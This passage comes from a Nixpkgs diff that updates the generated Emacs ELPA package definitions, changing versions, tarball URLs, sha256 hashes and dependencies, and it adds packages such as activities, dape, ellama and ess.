"https://elpa.gnu.org/devel/xelb-0.18.0.20200719.0.tar"; - sha256 = "195zxjkrw9rmnzprvdr21pngfkwl7lcn0bnjqzywwaq19zb4c2rs"; + url = "https://elpa.gnu.org/devel/xelb-0.18.0.20240124.64549.tar"; + sha256 = "1phpk0kwlz92mqb72l1n4n9nrxallvf9apxgrz9lg2fwcfrk03my"; }; - packageRequires = [ cl-generic emacs ]; + packageRequires = [ emacs ]; meta = { homepage = "https://elpa.gnu.org/packages/xelb.html"; license = lib.licenses.free; @@ -7061,10 +7179,10 @@ elpaBuild { pname = "xr"; ename = "xr"; - version = "1.25.0.20231026.84432"; + version = "1.25.0.20240123.121048"; src = fetchurl { - url = "https://elpa.gnu.org/devel/xr-1.25.0.20231026.84432.tar"; - sha256 = "0kvkz24z0cb32igj1hv09j0cg2xhwrkafi7zhfb85vwj4kgcd6pj"; + url = "https://elpa.gnu.org/devel/xr-1.25.0.20240123.121048.tar"; + sha256 = "0ishimhmmkkdzrx9pqq9y9j9n1h1vms49kfksg42mq6fahbc1hyn"; }; packageRequires = [ emacs ]; meta = { @@ -7076,10 +7194,10 @@ elpaBuild { pname = "xref"; ename = "xref"; - version = "1.6.3.0.20231023.205120"; + version = "1.6.3.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/xref-1.6.3.0.20231023.205120.tar"; - sha256 = "1qszzbnn3pdpy7q7i9ir04dnp15rgkm7xnl73pp3wpvbqjwwgmd3"; + url = "https://elpa.gnu.org/devel/xref-1.6.3.0.20240102.22814.tar"; + sha256 = "1rnns4xhkcim2xa8fchf3bzydj7b4pksglivwikhmdwxkrsx0acx"; }; packageRequires = [ emacs ]; meta = { @@ -7094,10 +7212,10 @@ elpaBuild { pname = "xref-union"; ename = "xref-union"; - version = "0.1.1.0.20230325.142012"; + version = "0.2.0.0.20231225.162837"; src = fetchurl { - url = "https://elpa.gnu.org/devel/xref-union-0.1.1.0.20230325.142012.tar"; - sha256 = "0y879hqq9l6siiyl84k12a943j3130cdfxw34m8hhgpmxn2qccky"; + url = "https://elpa.gnu.org/devel/xref-union-0.2.0.0.20231225.162837.tar"; + sha256 = "1gfvd23d0ysrvricvcpqgbji705ibwpz3jcnk8lxiz890y4rs2vw"; }; packageRequires = [ emacs ]; meta = { @@ -7113,10 +7231,10 @@ elpaBuild { pname = "yasnippet"; ename = "yasnippet"; - version = "0.14.0.0.20230914.100037"; + version = "0.14.1.0.20240123.215824"; src = fetchurl { - url = "https://elpa.gnu.org/devel/yasnippet-0.14.0.0.20230914.100037.tar"; - sha256 = "0kqv0scxkxxczxc1fxmpv0lgddp92j600s972xwb681a0vq2ssz6"; + url = "https://elpa.gnu.org/devel/yasnippet-0.14.1.0.20240123.215824.tar"; + sha256 = "1fr851wlj4l8354xx7lgvkx0khpbqgv2d3fj568s84l4zqrgmfz5"; }; packageRequires = [ cl-lib emacs ]; meta = { diff --git a/pkgs/applications/editors/emacs/elisp-packages/elpa-generated.nix b/pkgs/applications/editors/emacs/elisp-packages/elpa-generated.nix index c214731a22894..e3cc2f0a5c7e5 100644 --- a/pkgs/applications/editors/emacs/elisp-packages/elpa-generated.nix +++ b/pkgs/applications/editors/emacs/elisp-packages/elpa-generated.nix @@ -30,6 +30,21 @@ license = lib.licenses.free; }; }) {}; + activities = callPackage ({ elpaBuild, emacs, fetchurl, lib, persist }: + elpaBuild { + pname = "activities"; + ename = "activities"; + version = "0.4"; + src = fetchurl { + url = "https://elpa.gnu.org/packages/activities-0.4.tar"; + sha256 = "0mmb7fslirb40n75m8zfib1999yndysm13lyj0mypn9ciy1mvm6l"; + }; + packageRequires = [ emacs persist ]; + meta = { + homepage = "https://elpa.gnu.org/packages/activities.html"; + license = lib.licenses.free; + }; + }) {}; ada-mode = callPackage ({ elpaBuild , emacs , fetchurl @@ -81,16 +96,16 @@ license = lib.licenses.free; }; }) {}; - adjust-parens = callPackage ({ elpaBuild, fetchurl, lib }: + adjust-parens = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "adjust-parens"; ename = "adjust-parens"; - version = "3.1"; + version = "3.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/adjust-parens-3.1.tar"; - sha256 = "059v0njd52vxidr5xwv2jmknm2shnwpj3101069q6lsmz1wq242a"; + url = "https://elpa.gnu.org/packages/adjust-parens-3.2.tar"; + sha256 = "01l8bgfqgbkh5p9r8mc5pqizg0sgr7bl6x7x657gm0qjnwmfwai5"; }; - packageRequires = []; + packageRequires = [ emacs ]; meta = { homepage = "https://elpa.gnu.org/packages/adjust-parens.html"; license = lib.licenses.free; @@ -250,10 +265,10 @@ elpaBuild { pname = "async"; ename = "async"; - version = "1.9.7"; + version = "1.9.8"; src = fetchurl { - url = "https://elpa.gnu.org/packages/async-1.9.7.tar"; - sha256 = "0wwjgvj42irznwz6rjh8yiz4p9hswgi6ak57anjn256c4zx8xaz2"; + url = "https://elpa.gnu.org/packages/async-1.9.8.tar"; + sha256 = "00x22dh96vhyvgailxm3mv2jqhwlb6lisrjv10m8vpkmlk5mhnwb"; }; packageRequires = [ emacs ]; meta = { @@ -265,10 +280,10 @@ elpaBuild { pname = "auctex"; ename = "auctex"; - version = "13.2.2"; + version = "13.3.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/auctex-13.2.2.tar"; - sha256 = "1k8ypxp2iwg7a0m5lyk1sy5chcnmas0gs6frk6xw6k0r974f193s"; + url = "https://elpa.gnu.org/packages/auctex-13.3.0.tar"; + sha256 = "09yc9242xya2by8z72899li7zc9g23bb8j8m30kbvivynmdfhzkf"; }; packageRequires = [ emacs ]; meta = { @@ -400,10 +415,10 @@ elpaBuild { pname = "beframe"; ename = "beframe"; - version = "0.3.0"; + version = "1.0.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/beframe-0.3.0.tar"; - sha256 = "0naa3agr4h0z1fc3fwnsq4k57zpzvg7ganbr6dyp7c70ja8x32h0"; + url = "https://elpa.gnu.org/packages/beframe-1.0.0.tar"; + sha256 = "0fw0nsdp78x194gkscwfyayq51yfb8r4k0q51ia1rnj43kxmmvr9"; }; packageRequires = [ emacs ]; meta = { @@ -411,6 +426,21 @@ license = lib.licenses.free; }; }) {}; + bicep-ts-mode = callPackage ({ elpaBuild, fetchurl, lib }: + elpaBuild { + pname = "bicep-ts-mode"; + ename = "bicep-ts-mode"; + version = "0.1.1"; + src = fetchurl { + url = "https://elpa.gnu.org/packages/bicep-ts-mode-0.1.1.tar"; + sha256 = "0yxn9vk8hbsx50ljjy2swn38cxw2nkvkyc6hqw3qxj014vaavxvn"; + }; + packageRequires = []; + meta = { + homepage = "https://elpa.gnu.org/packages/bicep-ts-mode.html"; + license = lib.licenses.free; + }; + }) {}; bind-key = callPackage ({ elpaBuild, fetchurl, lib }: elpaBuild { pname = "bind-key"; @@ -426,16 +456,16 @@ license = lib.licenses.free; }; }) {}; - blist = callPackage ({ elpaBuild, fetchurl, lib }: + blist = callPackage ({ elpaBuild, emacs, fetchurl, ilist, lib }: elpaBuild { pname = "blist"; ename = "blist"; - version = "0.2"; + version = "0.3"; src = fetchurl { - url = "https://elpa.gnu.org/packages/blist-0.2.tar"; - sha256 = "1gsrj6clsfw36i7pdayfip615r80543j3iph6zm93p88wgwqigrq"; + url = "https://elpa.gnu.org/packages/blist-0.3.tar"; + sha256 = "1cqvj6jjkch4xivdn2vyxz38amm6w403hnrfx0hhknbwxq5k8swp"; }; - packageRequires = []; + packageRequires = [ emacs ilist ]; meta = { homepage = "https://elpa.gnu.org/packages/blist.html"; license = lib.licenses.free; @@ -569,10 +599,10 @@ elpaBuild { pname = "bufferlo"; ename = "bufferlo"; - version = "0.3"; + version = "0.6"; src = fetchurl { - url = "https://elpa.gnu.org/packages/bufferlo-0.3.tar"; - sha256 = "16fj1wiqymyys0wjnbmmfwpvqxnm3mlqfrg7nrsryfgpv2mv9z17"; + url = "https://elpa.gnu.org/packages/bufferlo-0.6.tar"; + sha256 = "0q942zsxv27gvkx3b391yzshh58l2xd75y04rqyqk269q0cdhqff"; }; packageRequires = [ emacs ]; meta = { @@ -614,10 +644,10 @@ elpaBuild { pname = "calibre"; ename = "calibre"; - version = "1.3.3"; + version = "1.4.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/calibre-1.3.3.tar"; - sha256 = "03vg3vym5v04jcvrbyh1m1vfh04a4maiyac89c052lj9zp7yzrx7"; + url = "https://elpa.gnu.org/packages/calibre-1.4.0.tar"; + sha256 = "1p3sla0j9v1d42z2amwb3hk2gs80ld50nxm1bfi30vdh563cfz4q"; }; packageRequires = [ compat emacs ]; meta = { @@ -629,10 +659,10 @@ elpaBuild { pname = "cape"; ename = "cape"; - version = "0.17"; + version = "1.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/cape-0.17.tar"; - sha256 = "1kby5qbw2z5c6629vfx6dx4f1a8gx58ciif9b9589drc6fnnsnlr"; + url = "https://elpa.gnu.org/packages/cape-1.2.tar"; + sha256 = "0f18y40ajrkl5kc2r656lvi5vqkz7cpvyz0h6dwbc4dfhsa3cyfs"; }; packageRequires = [ compat emacs ]; meta = { @@ -764,10 +794,10 @@ elpaBuild { pname = "code-cells"; ename = "code-cells"; - version = "0.3"; + version = "0.4"; src = fetchurl { - url = "https://elpa.gnu.org/packages/code-cells-0.3.tar"; - sha256 = "0i5n9xqpf0www553in3xibc93vw9x6659zaqnvr5rkad95gz456x"; + url = "https://elpa.gnu.org/packages/code-cells-0.4.tar"; + sha256 = "0a7m6d5slz2zarbk54900cihs5071i63qdz4yj8n7j3zfz28x5kg"; }; packageRequires = [ emacs ]; meta = { @@ -892,10 +922,10 @@ elpaBuild { pname = "consult"; ename = "consult"; - version = "0.35"; + version = "1.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/consult-0.35.tar"; - sha256 = "00rw4d9k16wx55pk7fyj4z718vmqjq18jy0xiv7izzkdkkkk3l7p"; + url = "https://elpa.gnu.org/packages/consult-1.2.tar"; + sha256 = "1dxnr5a1gj1gwmwagl9sd8bq2g9fw0gmldzz2jfg8dj3dw75rk71"; }; packageRequires = [ compat emacs ]; meta = { @@ -907,10 +937,10 @@ elpaBuild { pname = "consult-recoll"; ename = "consult-recoll"; - version = "0.8"; + version = "0.8.1"; src = fetchurl { - url = "https://elpa.gnu.org/packages/consult-recoll-0.8.tar"; - sha256 = "02vg1rr2fkcqrrivqgggdjdq0ywvlyzazwq1xd02yah3j4sbv4ag"; + url = "https://elpa.gnu.org/packages/consult-recoll-0.8.1.tar"; + sha256 = "0z2vlnv0q6hzvj6hk2a5flhp1gmm71c65j8nrpk4a18aq5gir213"; }; packageRequires = [ consult emacs ]; meta = { @@ -937,10 +967,10 @@ elpaBuild { pname = "corfu"; ename = "corfu"; - version = "0.38"; + version = "1.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/corfu-0.38.tar"; - sha256 = "1pj7zdcqfk77fvfqgvp1gri4m11akn5hd87av28k745i7s0nq0i6"; + url = "https://elpa.gnu.org/packages/corfu-1.2.tar"; + sha256 = "1yy4lqbkj8hkvbzaw5wrjqxwp2afhgwjyvmqncils37hvyih4rwl"; }; packageRequires = [ compat emacs ]; meta = { @@ -1057,10 +1087,10 @@ elpaBuild { pname = "csv-mode"; ename = "csv-mode"; - version = "1.22"; + version = "1.23"; src = fetchurl { - url = "https://elpa.gnu.org/packages/csv-mode-1.22.tar"; - sha256 = "1f9pny1hkhdfmkmfpsk6ayjmb9p5hdpxpnmcprf51nfbvmi7ssig"; + url = "https://elpa.gnu.org/packages/csv-mode-1.23.tar"; + sha256 = "0bdx56bn5aw0xjqgqhx2ccrrns3si04zy9ya755jz7n1djqn3mcz"; }; packageRequires = [ cl-lib emacs ]; meta = { @@ -1098,6 +1128,21 @@ license = lib.licenses.free; }; }) {}; + dape = callPackage ({ elpaBuild, emacs, fetchurl, jsonrpc, lib }: + elpaBuild { + pname = "dape"; + ename = "dape"; + version = "0.5.0"; + src = fetchurl { + url = "https://elpa.gnu.org/packages/dape-0.5.0.tar"; + sha256 = "1pgrlgk1wf35afgfcbm256ikixk2r6rbkc05iwsr6x6l9y3h0v3w"; + }; + packageRequires = [ emacs jsonrpc ]; + meta = { + homepage = "https://elpa.gnu.org/packages/dape.html"; + license = lib.licenses.free; + }; + }) {}; darkroom = callPackage ({ cl-lib ? null, elpaBuild, fetchurl, lib }: elpaBuild { pname = "darkroom"; @@ -1147,10 +1192,10 @@ elpaBuild { pname = "debbugs"; ename = "debbugs"; - version = "0.37"; + version = "0.38"; src = fetchurl { - url = "https://elpa.gnu.org/packages/debbugs-0.37.tar"; - sha256 = "0xj0sv5d3y88fsbm7yhm0v59mzj1srxayng1hr418v89ky43rxpr"; + url = "https://elpa.gnu.org/packages/debbugs-0.38.tar"; + sha256 = "0cl6vcnlyanrl3qzhd31pw9qvij6g88cgifl3mwgw54bbagl9hh6"; }; packageRequires = [ emacs soap-client ]; meta = { @@ -1177,10 +1222,10 @@ elpaBuild { pname = "denote"; ename = "denote"; - version = "2.1.0"; + version = "2.2.4"; src = fetchurl { - url = "https://elpa.gnu.org/packages/denote-2.1.0.tar"; - sha256 = "1igp9h327b9x3fxrp34bz0x5slk659r3asjdia3jm8amajm4bw6s"; + url = "https://elpa.gnu.org/packages/denote-2.2.4.tar"; + sha256 = "0a0f4s715nfb7kly82m1gb2ady69z089wlay5i53n9bxzi61x3j7"; }; packageRequires = [ emacs ]; meta = { @@ -1233,6 +1278,21 @@ license = lib.licenses.free; }; }) {}; + devicetree-ts-mode = callPackage ({ elpaBuild, emacs, fetchurl, lib }: + elpaBuild { + pname = "devicetree-ts-mode"; + ename = "devicetree-ts-mode"; + version = "0.3"; + src = fetchurl { + url = "https://elpa.gnu.org/packages/devicetree-ts-mode-0.3.tar"; + sha256 = "1vhk9b0aa9w6yalv0d712dc9d7pmcgbg5b4baggc7dyaa5n6ilkn"; + }; + packageRequires = [ emacs ]; + meta = { + homepage = "https://elpa.gnu.org/packages/devicetree-ts-mode.html"; + license = lib.licenses.free; + }; + }) {}; dict-tree = callPackage ({ elpaBuild , emacs , fetchurl @@ -1513,10 +1573,10 @@ elpaBuild { pname = "ebdb"; ename = "ebdb"; - version = "0.8.18"; + version = "0.8.22"; src = fetchurl { - url = "https://elpa.gnu.org/packages/ebdb-0.8.18.tar"; - sha256 = "1mb1qsw3dfaa6x52vsg73by6w7x5i6w5l7b0d2jr667y006q2vvf"; + url = "https://elpa.gnu.org/packages/ebdb-0.8.22.tar"; + sha256 = "12sydb2lm571096gpb8r0jpg19wiqpl52rcnrhkvzlhzxgg18pg5"; }; packageRequires = [ emacs seq ]; meta = { @@ -1573,10 +1633,10 @@ elpaBuild { pname = "eev"; ename = "eev"; - version = "20230127"; + version = "20240115"; src = fetchurl { - url = "https://elpa.gnu.org/packages/eev-20230127.tar"; - sha256 = "12f8r1mymd73gjbha6w9fk1ar38yxgbnrr6asvr8aa9rhcwwgxqm"; + url = "https://elpa.gnu.org/packages/eev-20240115.tar"; + sha256 = "0vlw88wjgzgl3wsa7k5p03qvj2yipvjsrjcrv8vjlvnm83pszskh"; }; packageRequires = [ emacs ]; meta = { @@ -1588,10 +1648,10 @@ elpaBuild { pname = "ef-themes"; ename = "ef-themes"; - version = "1.4.0"; + version = "1.5.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/ef-themes-1.4.0.tar"; - sha256 = "0pp72bi9s7vyxyyy7dc0vql4k6hqzd1gg3a2i4wi09awdak85gi6"; + url = "https://elpa.gnu.org/packages/ef-themes-1.5.0.tar"; + sha256 = "1jckhizsrlnkfrfal9ym214gb10kyfzws7vvmyxnpxn8pspiby4a"; }; packageRequires = [ emacs ]; meta = { @@ -1613,10 +1673,10 @@ elpaBuild { pname = "eglot"; ename = "eglot"; - version = "1.15"; + version = "1.17"; src = fetchurl { - url = "https://elpa.gnu.org/packages/eglot-1.15.tar"; - sha256 = "05brq76xbdkbhbn572n0hyz80lwc3ly5waaqsaan5l1apxgl6ww7"; + url = "https://elpa.gnu.org/packages/eglot-1.17.tar"; + sha256 = "1can988d7qdn0dj4wg8adjz1s9j5yin8bcp7ylhq1pr327d5flky"; }; packageRequires = [ eldoc @@ -1657,10 +1717,10 @@ elpaBuild { pname = "eldoc"; ename = "eldoc"; - version = "1.14.0"; + version = "1.15.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/eldoc-1.14.0.tar"; - sha256 = "15bg61nbfb6l51frlsn430ga3vscns2651wvi6377vlyra7kgn39"; + url = "https://elpa.gnu.org/packages/eldoc-1.15.0.tar"; + sha256 = "1wn7q2f19lfdc3b639ffhbmsglnm3zc6rvgyc6amqwnpc2n2gkdl"; }; packageRequires = [ emacs ]; meta = { @@ -1698,14 +1758,35 @@ license = lib.licenses.free; }; }) {}; + ellama = callPackage ({ dash + , elpaBuild + , emacs + , fetchurl + , lib + , llm + , spinner }: + elpaBuild { + pname = "ellama"; + ename = "ellama"; + version = "0.7.4"; + src = fetchurl { + url = "https://elpa.gnu.org/packages/ellama-0.7.4.tar"; + sha256 = "0xpavi6kqrimgxyhpqlp1kkgisswkarm35s1b40938i70cyy3157"; + }; + packageRequires = [ dash emacs llm spinner ]; + meta = { + homepage = "https://elpa.gnu.org/packages/ellama.html"; + license = lib.licenses.free; + }; + }) {}; emacs-gc-stats = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "emacs-gc-stats"; ename = "emacs-gc-stats"; - version = "1.4.1"; + version = "1.4.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/emacs-gc-stats-1.4.1.tar"; - sha256 = "0k7vng4ikcgb3s9qwjxfyjaq4s45n9r2m9hhnvi953gh3q4xdyck"; + url = "https://elpa.gnu.org/packages/emacs-gc-stats-1.4.2.tar"; + sha256 = "19wb4s7bm9fhkbjw28fi5pkxzqnkc7wrx338vgrrzyaficblkcps"; }; packageRequires = [ emacs ]; meta = { @@ -1717,10 +1798,10 @@ elpaBuild { pname = "embark"; ename = "embark"; - version = "0.23"; + version = "1.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/embark-0.23.tar"; - sha256 = "03qmhi5wlx4wpj8fnqx352cwnx0czrj6majr18hyavx5cih8i8v6"; + url = "https://elpa.gnu.org/packages/embark-1.0.tar"; + sha256 = "01kgln4hvy0hfga7syjvrdvwwalx93pq0s2na0qyvy44rsszlwwh"; }; packageRequires = [ compat emacs ]; meta = { @@ -1728,7 +1809,8 @@ license = lib.licenses.free; }; }) {}; - embark-consult = callPackage ({ consult + embark-consult = callPackage ({ compat + , consult , elpaBuild , emacs , embark @@ -1737,12 +1819,12 @@ elpaBuild { pname = "embark-consult"; ename = "embark-consult"; - version = "0.8"; + version = "1.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/embark-consult-0.8.tar"; - sha256 = "1l6fcrf9hx7ll6zrm3igh80nkcig6i7fqwicm3dy9rwsjyjlmy2f"; + url = "https://elpa.gnu.org/packages/embark-consult-1.0.tar"; + sha256 = "18zbaanza8vvrmk3gbj0glijyxgb4qd7yzc46lv9fr7xr4l58jqc"; }; - packageRequires = [ consult emacs embark ]; + packageRequires = [ compat consult emacs embark ]; meta = { homepage = "https://elpa.gnu.org/packages/embark-consult.html"; license = lib.licenses.free; @@ -1762,10 +1844,10 @@ elpaBuild { pname = "ement"; ename = "ement"; - version = "0.13"; + version = "0.14"; src = fetchurl { - url = "https://elpa.gnu.org/packages/ement-0.13.tar"; - sha256 = "15pi9d5nxg3d7xnh36xpd0fa94fv3yra5imqpwbzz98d4wyacrv8"; + url = "https://elpa.gnu.org/packages/ement-0.14.tar"; + sha256 = "02ay594byrlwkcl85drxn82fgvlzf11l9rl4hbk9phz9axy2mgyw"; }; packageRequires = [ emacs @@ -1791,10 +1873,10 @@ elpaBuild { pname = "emms"; ename = "emms"; - version = "16"; + version = "18"; src = fetchurl { - url = "https://elpa.gnu.org/packages/emms-16.tar"; - sha256 = "1c18lrrfg1n5vn1av9p7q3jys27pdmxq8pq5gqb6397jnv9xywby"; + url = "https://elpa.gnu.org/packages/emms-18.tar"; + sha256 = "1jslk37kx7yzvwy4hq1a6b71kp4a3bgfzzp8bpplv7z6vcmwrmgq"; }; packageRequires = [ cl-lib nadvice seq ]; meta = { @@ -1882,6 +1964,21 @@ license = lib.licenses.free; }; }) {}; + ess = callPackage ({ elpaBuild, emacs, fetchurl, lib }: + elpaBuild { + pname = "ess"; + ename = "ess"; + version = "24.1.1"; + src = fetchurl { + url = "https://elpa.gnu.org/packages/ess-24.1.1.tar"; + sha256 = "1gy1yp6svr8agv38rikmfcji570n80c8jqssrcrrgrq3a2k9j34h"; + }; + packageRequires = [ emacs ]; + meta = { + homepage = "https://elpa.gnu.org/packages/ess.html"; + license = lib.licenses.free; + }; + }) {}; excorporate = callPackage ({ cl-lib ? null , elpaBuild , emacs @@ -2422,10 +2519,10 @@ elpaBuild { pname = "greader"; ename = "greader"; - version = "0.6.0"; + version = "0.8.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/greader-0.6.0.tar"; - sha256 = "01sral1nrgkpbrajvg2pqhaj4rx48rryqfxckj3xprrs0yls3k8q"; + url = "https://elpa.gnu.org/packages/greader-0.8.2.tar"; + sha256 = "0cfdx4ybvdklsmxd2n10n8c0niw5k2d4cdnmm98ixadvh56bvflr"; }; packageRequires = [ emacs ]; meta = { @@ -2760,6 +2857,21 @@ license = lib.licenses.free; }; }) {}; + jami-bot = callPackage ({ elpaBuild, emacs, fetchurl, lib }: + elpaBuild { + pname = "jami-bot"; + ename = "jami-bot"; + version = "0.0.4"; + src = fetchurl { + url = "https://elpa.gnu.org/packages/jami-bot-0.0.4.tar"; + sha256 = "1gspzqxznqskc008bcix2fyg1brr3xzxzbqx18q4cy4mz0vm8h1b"; + }; + packageRequires = [ emacs ]; + meta = { + homepage = "https://elpa.gnu.org/packages/jami-bot.html"; + license = lib.licenses.free; + }; + }) {}; jarchive = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "jarchive"; @@ -2809,10 +2921,10 @@ elpaBuild { pname = "jinx"; ename = "jinx"; - version = "0.9"; + version = "1.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/jinx-0.9.tar"; - sha256 = "0q9g3agql5gm95r64lpcwcs9scwhmwcjjnkiykzxdzpnkjn0mjgb"; + url = "https://elpa.gnu.org/packages/jinx-1.2.tar"; + sha256 = "027r05123bmqwy4h9x8mlxn1m65jv759jqf1rh6gs92bi29slwy8"; }; packageRequires = [ compat emacs ]; meta = { @@ -2839,10 +2951,10 @@ elpaBuild { pname = "js2-mode"; ename = "js2-mode"; - version = "20230408"; + version = "20231224"; src = fetchurl { - url = "https://elpa.gnu.org/packages/js2-mode-20230408.tar"; - sha256 = "1rzlbqddvaa51dz13did5ylj0ggwqnl0wii8735sylfcv6b82241"; + url = "https://elpa.gnu.org/packages/js2-mode-20231224.tar"; + sha256 = "1yc7rs748dwpbxy2bqxfspinfiay28qh8l0fly1k76fhk159rwj4"; }; packageRequires = [ cl-lib emacs ]; meta = { @@ -2869,10 +2981,10 @@ elpaBuild { pname = "jsonrpc"; ename = "jsonrpc"; - version = "1.0.17"; + version = "1.0.24"; src = fetchurl { - url = "https://elpa.gnu.org/packages/jsonrpc-1.0.17.tar"; - sha256 = "0vfd1z78pyif3l6gapcq9vs6cjfxiyc420xzwn0krrb25jjzx1ab"; + url = "https://elpa.gnu.org/packages/jsonrpc-1.0.24.tar"; + sha256 = "05nwxfybczxx7pmflq762dq3wypm3pmcfljqs5kh81icxvdqvk8s"; }; packageRequires = [ emacs ]; meta = { @@ -2899,10 +3011,10 @@ elpaBuild { pname = "kind-icon"; ename = "kind-icon"; - version = "0.2.0"; + version = "0.2.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/kind-icon-0.2.0.tar"; - sha256 = "1vgwbd99vx793iy04albkxl24c7vq598s7bg0raqwmgx84abww6r"; + url = "https://elpa.gnu.org/packages/kind-icon-0.2.2.tar"; + sha256 = "1jpc4izbi5ajqqrvvfp5yqfmljaw2mq06ym36d4p2cxkz95vcmi7"; }; packageRequires = [ emacs svg-lib ]; meta = { @@ -3039,10 +3151,10 @@ elpaBuild { pname = "llm"; ename = "llm"; - version = "0.5.2"; + version = "0.9.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/llm-0.5.2.tar"; - sha256 = "1nbxdnxpbyvx5rww9mn0zr9hcnblrnk8790cih206y3p1kvs0pnq"; + url = "https://elpa.gnu.org/packages/llm-0.9.0.tar"; + sha256 = "16sin4l2wgwvzx0a4bjksv2g93ayfcamvjfan6hmflfmc0sd5s7v"; }; packageRequires = [ emacs ]; meta = { @@ -3189,10 +3301,10 @@ elpaBuild { pname = "marginalia"; ename = "marginalia"; - version = "1.3"; + version = "1.5"; src = fetchurl { - url = "https://elpa.gnu.org/packages/marginalia-1.3.tar"; - sha256 = "14wk3ld9zaj05dmsyhq70kdl0h4bk4gl6sn7x5cckq3av78idh39"; + url = "https://elpa.gnu.org/packages/marginalia-1.5.tar"; + sha256 = "1hc4jjvrwfkqmhb1kvmjzzkmnqfx188ywy1cmxpns1wivnjic79h"; }; packageRequires = [ compat emacs ]; meta = { @@ -3768,10 +3880,10 @@ elpaBuild { pname = "org"; ename = "org"; - version = "9.6.12"; + version = "9.6.17"; src = fetchurl { - url = "https://elpa.gnu.org/packages/org-9.6.12.tar"; - sha256 = "0qkq7vx3kga18001clsac4rbg9bw5cp9k5qnixw7s39xajd4bcv3"; + url = "https://elpa.gnu.org/packages/org-9.6.17.tar"; + sha256 = "1gnm9hja2p93l0h5dz86035jh37wkngw7kk4bpgbzjlv74wih1jb"; }; packageRequires = [ emacs ]; meta = { @@ -3813,10 +3925,10 @@ elpaBuild { pname = "org-modern"; ename = "org-modern"; - version = "0.10"; + version = "1.1"; src = fetchurl { - url = "https://elpa.gnu.org/packages/org-modern-0.10.tar"; - sha256 = "0y17n6ac1b8rsa91qbisagp5mpmpnlni3j78x55z5dnpbi31yn1l"; + url = "https://elpa.gnu.org/packages/org-modern-1.1.tar"; + sha256 = "1aclips7y3dasjh6rjdcx1b6fkaripjam6120b7wm487qpjcrzc8"; }; packageRequires = [ compat emacs ]; meta = { @@ -3903,10 +4015,10 @@ elpaBuild { pname = "orgalist"; ename = "orgalist"; - version = "1.13"; + version = "1.14"; src = fetchurl { - url = "https://elpa.gnu.org/packages/orgalist-1.13.el"; - sha256 = "1wkxc5kcy1g4lx6pd78pa8znncjyl9zyhsvz7wpp56qmhq4hlav3"; + url = "https://elpa.gnu.org/packages/orgalist-1.14.tar"; + sha256 = "08gx8aqi7ph75vhhss2xl1lfypzy8a3zmj7w8flcrvz1nk0z738s"; }; packageRequires = [ emacs ]; meta = { @@ -3933,10 +4045,10 @@ elpaBuild { pname = "osm"; ename = "osm"; - version = "0.14"; + version = "1.3"; src = fetchurl { - url = "https://elpa.gnu.org/packages/osm-0.14.tar"; - sha256 = "03zzdz7l76006x5540121ckbyd5gm10x30k9r43dlj7myd359i90"; + url = "https://elpa.gnu.org/packages/osm-1.3.tar"; + sha256 = "09c6wgq470hi2kgk7s8pbcqaggw13hg3f2zz5qwi68hfh7nq7z7k"; }; packageRequires = [ compat emacs ]; meta = { @@ -4008,10 +4120,10 @@ elpaBuild { pname = "parser-generator"; ename = "parser-generator"; - version = "0.1.6"; + version = "0.2.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/parser-generator-0.1.6.tar"; - sha256 = "0qql5klnh8fbnbkb4mhv6axxvw4qv09cy1h556m0qzg30sckxas1"; + url = "https://elpa.gnu.org/packages/parser-generator-0.2.0.tar"; + sha256 = "1pp11qnm09w69vc1sl2629r0ymd2vhnaqj4d4ly1bbwxrwjl2nsv"; }; packageRequires = [ emacs ]; meta = { @@ -4068,10 +4180,10 @@ elpaBuild { pname = "persist"; ename = "persist"; - version = "0.5"; + version = "0.6"; src = fetchurl { - url = "https://elpa.gnu.org/packages/persist-0.5.tar"; - sha256 = "090n4479zs82by7a3vb551gyjvv8lpfcylk43ywr2lfyssc9xiq0"; + url = "https://elpa.gnu.org/packages/persist-0.6.tar"; + sha256 = "0n68dshbbyrs713989bllmm1vypch8766hc8b4y989nmyclixjwp"; }; packageRequires = []; meta = { @@ -4083,10 +4195,10 @@ elpaBuild { pname = "phps-mode"; ename = "phps-mode"; - version = "0.4.46"; + version = "0.4.47"; src = fetchurl { - url = "https://elpa.gnu.org/packages/phps-mode-0.4.46.tar"; - sha256 = "128pbn2ndqwvaxxagwz23xa9adr3m5dac1cid7dichddsis849z8"; + url = "https://elpa.gnu.org/packages/phps-mode-0.4.47.tar"; + sha256 = "08zyk00vwi3wrw9shlv1faxcall3xcqlg02hj3yb8cg4071dv922"; }; packageRequires = [ emacs ]; meta = { @@ -4113,10 +4225,10 @@ elpaBuild { pname = "plz"; ename = "plz"; - version = "0.7"; + version = "0.7.2"; src = fetchurl { - url = "https://elpa.gnu.org/packages/plz-0.7.tar"; - sha256 = "00xm6hp51m4cmlw15qgqrspwgs3d9z1hw9pbpva9sa4v7vsbipd2"; + url = "https://elpa.gnu.org/packages/plz-0.7.2.tar"; + sha256 = "1qpr4j5rqpvr17arxrrix1z9fzbqy1mddakyylqbvm9lg5yg2wnk"; }; packageRequires = [ emacs ]; meta = { @@ -4578,10 +4690,10 @@ elpaBuild { pname = "rec-mode"; ename = "rec-mode"; - version = "1.9.1"; + version = "1.9.3"; src = fetchurl { - url = "https://elpa.gnu.org/packages/rec-mode-1.9.1.tar"; - sha256 = "0f60bw07l6kk1kkjjxsk30p6rxj9mpngaxqy8piyabnijfgjzd3s"; + url = "https://elpa.gnu.org/packages/rec-mode-1.9.3.tar"; + sha256 = 